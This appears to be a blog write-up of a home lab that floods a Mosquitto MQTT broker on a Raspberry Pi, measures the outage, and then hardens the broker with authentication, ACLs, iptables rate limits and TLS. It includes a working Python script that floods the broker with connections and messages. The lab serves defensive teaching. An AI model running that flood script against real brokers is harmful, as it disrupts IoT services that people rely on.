MQTT Broker Hardening on Raspberry Pi: Lessons from My DoS Attack Lab

IoT security is often treated as an afterthought. Devices are shipped with default credentials, unencrypted communications, and no rate limiting. The result is predictable: IoT botnets like Mirai have exploited these weaknesses at scale, taking down major internet infrastructure. Understanding where IoT security fails — from hands-on experience, not theory — is what this project was about.

The Setup

I deployed an MQTT broker on a Raspberry Pi 4 (4GB model) running Raspberry Pi OS Lite. MQTT (Message Queuing Telemetry Transport) is the dominant messaging protocol in IoT — it's lightweight, designed for constrained devices, and widely deployed in everything from smart home systems to industrial sensors.

My test environment:

• Broker: Mosquitto running on the Raspberry Pi
• Legitimate clients: Three Python-based publishers and two subscribers running on separate VMs, simulating IoT sensors and a monitoring dashboard
• Attack machine: Kali Linux VM running custom scripts

The goal: validate end-to-end MQTT communication, then simulate a Denial of Service attack, measure the impact, and evaluate the effectiveness of defensive controls.

Validating Normal Operation

Before attacking anything, I established a working baseline. Mosquitto was installed and configured with basic settings:

sudo apt install mosquitto mosquitto-clients

Default mosquitto.conf:

listener 1883
allow_anonymous true

My publisher script sends a simulated temperature reading every five seconds:

import paho.mqtt.client as mqtt
import json, time, random

client = mqtt.Client()
client.connect("192.168.1.100", 1883)

while True:
    payload = {"sensor_id": "temp_01", "value": round(random.uniform(20, 30), 2)}
    client.publish("sensors/temperature", json.dumps(payload))
    time.sleep(5)

Subscribers receive and log these messages to a dashboard. I verified end-to-end flow and confirmed message delivery latency under normal conditions: average 12ms from publish to receive.

The DoS Attack: High-Rate Connection and Publish Bursts

MQTT brokers have finite connection capacity. My attack targeted two vectors simultaneously:

Connection flooding: Rapidly opening and closing connections without proper MQTT handshakes, exhausting the broker's connection pool.

Publish flooding: Authenticated connections publishing messages at maximum rate across hundreds of topics, overwhelming the broker's processing queue.

My attack script:

import paho.mqtt.client as mqtt
import threading, time

def flood_connections(broker_ip, count):
    for _ in range(count):
        c = mqtt.Client()
        try:
            c.connect(broker_ip, 1883, keepalive=1)
            c.disconnect()
        except:
            pass

def flood_publish(broker_ip, rate=1000):
    c = mqtt.Client()
    c.connect(broker_ip, 1883)
    start = time.time()
    for i in range(rate):
        c.publish(f"flood/topic/{i % 100}", "x" * 256)
    elapsed = time.time() - start
    print(f"Published {rate} msgs in {elapsed:.2f}s")

# Run both attack vectors
threading.Thread(target=flood_connections, args=("192.168.1.100", 500)).start()
flood_publish("192.168.1.100")

Results during attack:

• Legitimate message delivery latency: jumped from 12ms to 8,400ms average
• Legitimate subscriber disconnections: 2 out of 2 dropped connection
• Broker CPU utilization: spiked from 8% to 94%
• Message loss rate for legitimate clients: 73%

The broker was effectively unusable for legitimate clients during the attack. A real IoT deployment under these conditions — industrial sensors, medical devices, smart infrastructure — would fail in potentially dangerous ways.

Applying Defenses

I then applied three layers of defensive controls and measured the improvement each provided.

Defense 1: Access Control Lists (ACLs) and Authentication

Enable password authentication in Mosquitto:

# Create password file
sudo mosquitto_passwd -c /etc/mosquitto/passwd sensor_user

# Configure mosquitto.conf
listener 1883
allow_anonymous false
password_file /etc/mosquitto/passwd

# Set up ACL file
acl_file /etc/mosquitto/aclfile

ACL file — restricts clients to specific topics:

user sensor_user
topic read sensors/#
topic write sensors/temperature
topic write sensors/humidity

This stopped anonymous connection flooding immediately, as unauthenticated clients were rejected at the handshake stage. CPU dropped back to 15% even under connection flooding attempts.

Impact: Eliminated unauthenticated connection flooding. Publish flooding from authenticated clients remained an issue.

Defense 2: Connection and Message Rate Limiting

Mosquitto supports per-client limits:

max_connections 100
max_queued_messages 1000
message_size_limit 4096

For more granular rate limiting, I used iptables to limit connection rates at the network level:

# Limit new connections to 10 per second per source IP
sudo iptables -A INPUT -p tcp --dport 1883 -m state --state NEW \
  -m recent --set --name MQTT_CLIENTS
sudo iptables -A INPUT -p tcp --dport 1883 -m state --state NEW \
  -m recent --update --seconds 1 --hitcount 10 --name MQTT_CLIENTS -j DROP

Impact: Reduced maximum legitimate client impact during attack from 73% message loss to 11%. Latency stabilized under 120ms even during attack attempts.

Defense 3: TLS Encryption

Unencrypted MQTT is vulnerable not just to DoS but to eavesdropping and man-in-the-middle attacks. I enabled TLS:

# Generate CA and server certificates
openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca.key -out server.crt

Mosquitto TLS config:

listener 8883
cafile /etc/mosquitto/certs/ca.crt
certfile /etc/mosquitto/certs/server.crt
keyfile /etc/mosquitto/certs/server.key
require_certificate false
tls_version tlsv1.2

Impact: All communications encrypted. Man-in-the-middle interception of sensor data no longer possible. Slight CPU overhead (~5%) from TLS processing.

Before vs. After: Summary

Metric	No Controls	With All Controls
Avg latency under attack	8,400ms	95ms
Legitimate message loss	73%	4%
Broker CPU under attack	94%	28%
Subscriber disconnections	2/2	0/2

The controls don't make the broker invulnerable — a sufficiently resourced attacker with valid credentials can still cause degradation — but they dramatically raise the bar and protect against opportunistic attacks.

Broader IoT Security Takeaways

This project made several things viscerally clear:

Default configurations are dangerous by design. Mosquitto ships with anonymous access enabled because it makes development easy. Production deployments that don't change this are exploitable within seconds.

Encryption is mandatory, not optional. IoT data is often sensitive — energy usage patterns, location data, health metrics. Transmitting it in plaintext is indefensible.

Rate limiting belongs in the architecture, not as an afterthought. Designing for availability means planning for abuse.

IoT devices can't defend themselves. Unlike servers, most IoT endpoints have no capacity for self-defense. The broker and the network must compensate.

If you're working with any IoT deployment, I'd strongly recommend testing your broker against these same attack patterns in a lab environment before going to production. What you find might surprise you.